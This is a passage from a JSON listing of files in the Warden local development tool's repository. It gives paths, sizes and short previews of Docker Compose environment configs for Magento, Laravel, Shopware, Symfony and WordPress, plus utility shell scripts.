    "preview": "\nx-volumes: &volumes\n  - /run/host-services/ssh-auth.sock:/run/host-services/ssh-auth.sock\n\nservices:\n  php-fpm: { volum"
  },
  {
    "path": "environments/includes/php-fpm.linux.yml",
    "chars": 165,
    "preview": "\nx-volumes: &volumes\n  - ${SSH_AUTH_SOCK:-/dev/null}:/run/host-services/ssh-auth.sock\n\nservices:\n  php-fpm: { volumes: *"
  },
  {
    "path": "environments/includes/php-spx.base.yml",
    "chars": 981,
    "preview": "x-volumes: &volumes\n  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro\n  - ${WARDEN_COMPOSER_DIR}:/home/w"
  },
  {
    "path": "environments/includes/rabbitmq.base.yml",
    "chars": 558,
    "preview": "services:\n  rabbitmq:\n    hostname: \"${WARDEN_ENV_NAME}-rabbitmq\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/rabbitmq:${RABBI"
  },
  {
    "path": "environments/includes/redis.base.yml",
    "chars": 178,
    "preview": "services:\n  redis:\n    hostname: \"${WARDEN_ENV_NAME}-redis\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/redis:${REDIS_VERSION:"
  },
  {
    "path": "environments/includes/selenium.base.yml",
    "chars": 289,
    "preview": "services:\n  selenium:\n    hostname: ${WARDEN_ENV_NAME}_selenium\n    image: selenium/standalone-chromium:${WARDEN_SELENIU"
  },
  {
    "path": "environments/includes/valkey.base.yml",
    "chars": 184,
    "preview": "services:\n  valkey:\n    hostname: \"${WARDEN_ENV_NAME}-valkey\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/valkey:${VALKEY_VERS"
  },
  {
    "path": "environments/includes/varnish.base.yml",
    "chars": 801,
    "preview": "services:\n  nginx:\n    labels:\n      - traefik.enable=false\n      - traefik.http.routers.${WARDEN_ENV_NAME}-nginx.priori"
  },
  {
    "path": "environments/laravel/db.base.yml",
    "chars": 235,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-laravel}\n      - MYSQL_DATABASE=${MY"
  },
  {
    "path": "environments/laravel/init.env",
    "chars": 508,
    "preview": "\nMYSQL_DISTRIBUTION=mariadb\nMYSQL_DISTRIBUTION_VERSION=10.4\nNODE_VERSION=12\nCOMPOSER_VERSION=2\nPHP_VERSION=8.2\nPHP_XDEBU"
  },
  {
    "path": "environments/laravel/laravel.base.yml",
    "chars": 415,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=/public\n  php-fpm:\n    labels:\n      - traefik.enable=true\n    "
  },
  {
    "path": "environments/local/local.base.yml",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "environments/magento1/db.base.yml",
    "chars": 298,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}\n      - MYSQL_DATABASE=${MY"
  },
  {
    "path": "environments/magento1/init.env",
    "chars": 343,
    "preview": "\nWARDEN_DB=1\nWARDEN_REDIS=1\nWARDEN_PHP_SPX=0\n\nMYSQL_DISTRIBUTION=mariadb\nMYSQL_DISTRIBUTION_VERSION=10.3\nNODE_VERSION=12"
  },
  {
    "path": "environments/magento1/magento1.base.yml",
    "chars": 244,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=${NGINX_PUBLIC:-}\n      - NGINX_TEMPLATE=magento1.conf\n      \n "
  },
  {
    "path": "environments/magento1/magento1.blackfire.mutagen_compose.yml",
    "chars": 257,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/media:/var/www/html/media:cached\n  - appdata:/var/www/html\n\nx-environment"
  },
  {
    "path": "environments/magento1/magento1.mutagen.yml",
    "chars": 393,
    "preview": "---\nsync:\n  defaults:\n    mode: two-way-resolved\n    watch:\n      pollingInterval: 10\n    ignore:\n      vcs: true\n      "
  },
  {
    "path": "environments/magento1/magento1.mutagen_compose.yml",
    "chars": 365,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/media:/var/www/html/media:cached\n  - appdata:/var/www/html\n\nx-environment"
  },
  {
    "path": "environments/magento2/db.base.yml",
    "chars": 343,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}\n      - MYSQL_DATABASE=${MY"
  },
  {
    "path": "environments/magento2/init.env",
    "chars": 716,
    "preview": "\nWARDEN_DB=1\nWARDEN_ELASTICSEARCH=0\nWARDEN_OPENSEARCH=1\nWARDEN_ELASTICHQ=0\nWARDEN_VARNISH=1\nWARDEN_RABBITMQ=1\nWARDEN_RED"
  },
  {
    "path": "environments/magento2/magento2.base.yml",
    "chars": 861,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=/pub\n      - NGINX_TEMPLATE=magento2.conf\n\n  php-fpm:\n    label"
  },
  {
    "path": "environments/magento2/magento2.blackfire.mutagen_compose.yml",
    "chars": 269,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/pub/media:/var/www/html/pub/media:cached\n  - appdata:/var/www/html\n\nx-env"
  },
  {
    "path": "environments/magento2/magento2.graphql-debug.base.yml",
    "chars": 174,
    "preview": "services:\n  php-graphql:\n    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7."
  },
  {
    "path": "environments/magento2/magento2.graphql.base.yml",
    "chars": 1378,
    "preview": "\nx-volumes: &volumes\n  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro\n  - ${WARDEN_COMPOSER_DIR}:/home/"
  },
  {
    "path": "environments/magento2/magento2.graphql.darwin.yml",
    "chars": 139,
    "preview": "\nx-volumes: &volumes\n  - /run/host-services/ssh-auth.sock:/run/host-services/ssh-auth.sock\n\nservices:\n  php-graphql: { v"
  },
  {
    "path": "environments/magento2/magento2.graphql.linux.yml",
    "chars": 134,
    "preview": "\nx-volumes: &volumes\n  - ${SSH_AUTH_SOCK:-/dev/null}:/run/host-services/ssh-auth.sock\n\nservices:\n  php-graphql: { volume"
  },
  {
    "path": "environments/magento2/magento2.magepack.base.yml",
    "chars": 387,
    "preview": "services:\n  magepack:\n    hostname: \"${WARDEN_ENV_NAME}-magepack\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/magepack:${MAGEP"
  },
  {
    "path": "environments/magento2/magento2.magepack.linux.yml",
    "chars": 107,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/:/var/www/html\n\nservices:\n  magepack: { volumes: *volumes }\n"
  },
  {
    "path": "environments/magento2/magento2.magepack.mutagen_compose.yml",
    "chars": 158,
    "preview": "x-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/pub/media:/var/www/html/pub/media:cached\n  - appdata:/var/www/html\n\nservic"
  },
  {
    "path": "environments/magento2/magento2.mutagen.yml",
    "chars": 542,
    "preview": "---\nsync:\n  defaults:\n    mode: two-way-resolved\n    watch:\n      pollingInterval: 10\n    ignore:\n      vcs: false\n     "
  },
  {
    "path": "environments/magento2/magento2.mutagen_compose.yml",
    "chars": 377,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/pub/media:/var/www/html/pub/media:cached\n  - appdata:/var/www/html\n\nx-env"
  },
  {
    "path": "environments/magento2/magento2.splitdb.checkout.base.yml",
    "chars": 652,
    "preview": "services:\n  php-fpm:\n    depends_on:\n      - checkoutdb\n\n  php-debug:\n    depends_on:\n      - checkoutdb\n\n  checkoutdb:\n"
  },
  {
    "path": "environments/magento2/magento2.splitdb.sales.base.yml",
    "chars": 634,
    "preview": "services:\n  php-fpm:\n    depends_on:\n      - salesdb\n\n  php-debug:\n    depends_on:\n      - salesdb\n\n  salesdb:\n    hostn"
  },
  {
    "path": "environments/magento2/magento2.tests.base.yml",
    "chars": 641,
    "preview": "services:\n  tmp-mysql:\n    hostname: \"${WARDEN_ENV_NAME}-mysql\"\n    image: ${WARDEN_IMAGE_REPOSITORY}/${MYSQL_DISTRIBUTI"
  },
  {
    "path": "environments/shopware/db.base.yml",
    "chars": 1043,
    "preview": "services:\n  db:\n    networks:\n      default:\n        aliases:\n          - mysql\n    environment:\n      MYSQL_DATABASE: $"
  },
  {
    "path": "environments/shopware/init.env",
    "chars": 289,
    "preview": "\nWARDEN_DB=1\nWARDEN_REDIS=1\nWARDEN_RABBITMQ=0\nWARDEN_ELASTICSEARCH=0\nWARDEN_VARNISH=0\nWARDEN_PHP_SPX=0\n\nMYSQL_DISTRIBUTI"
  },
  {
    "path": "environments/shopware/shopware.base.yml",
    "chars": 65,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=/public\n"
  },
  {
    "path": "environments/shopware/shopware.mutagen.yml",
    "chars": 401,
    "preview": "---\nsync:\n  defaults:\n    mode: two-way-resolved\n    watch:\n      pollingInterval: 10\n    ignore:\n      vcs: true\n      "
  },
  {
    "path": "environments/shopware/shopware.mutagen_compose.yml",
    "chars": 386,
    "preview": "\nx-volumes: &volumes\n  - .${WARDEN_WEB_ROOT:-}/public/media:/var/www/html/public/media:cached\n  - appdata:/var/www/html\n"
  },
  {
    "path": "environments/symfony/db.base.yml",
    "chars": 235,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-symfony}\n      - MYSQL_DATABASE=${MY"
  },
  {
    "path": "environments/symfony/init.env",
    "chars": 289,
    "preview": "\nWARDEN_DB=1\nWARDEN_REDIS=1\nWARDEN_RABBITMQ=0\nWARDEN_ELASTICSEARCH=0\nWARDEN_VARNISH=0\nWARDEN_PHP_SPX=0\n\nMYSQL_DISTRIBUTI"
  },
  {
    "path": "environments/symfony/symfony.base.yml",
    "chars": 65,
    "preview": "services:\n  nginx:\n    environment:\n      - NGINX_PUBLIC=/public\n"
  },
  {
    "path": "environments/wordpress/db.base.yml",
    "chars": 243,
    "preview": "services:\n  db:\n    environment:\n      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-wordpress}\n      - MYSQL_DATABASE=${"
  },
  {
    "path": "environments/wordpress/init.env",
    "chars": 312,
    "preview": "\nMYSQL_DISTRIBUTION=mariadb\nMYSQL_DISTRIBUTION_VERSION=10.6\nNODE_VERSION=22\nCOMPOSER_VERSION=2\nPHP_VERSION=8.3\nPHP_XDEBU"
  },
  {
    "path": "environments/wordpress/wordpress.base.yml",
    "chars": 0,
    "preview": ""
  },
  {
    "path": "utils/core.sh",
    "chars": 3649,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "utils/env.sh",
    "chars": 6347,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "utils/install.sh",
    "chars": 1587,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "utils/svc.sh",
    "chars": 623,
    "preview": "#!/usr/bin/env bash\n[[ ! ${WARDEN_DIR} ]] && >&2 echo -e \"\\033[31mThis script is not intended to be run directly!\\033[0m"
  },
  {
    "path": "version",
    "chars": 7,
    "preview": "in-dev\n"
  }
]

About this extraction

This page contains the full source code of the wardenenv/warden GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 130 files (180.6 KB), approximately 55.1k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!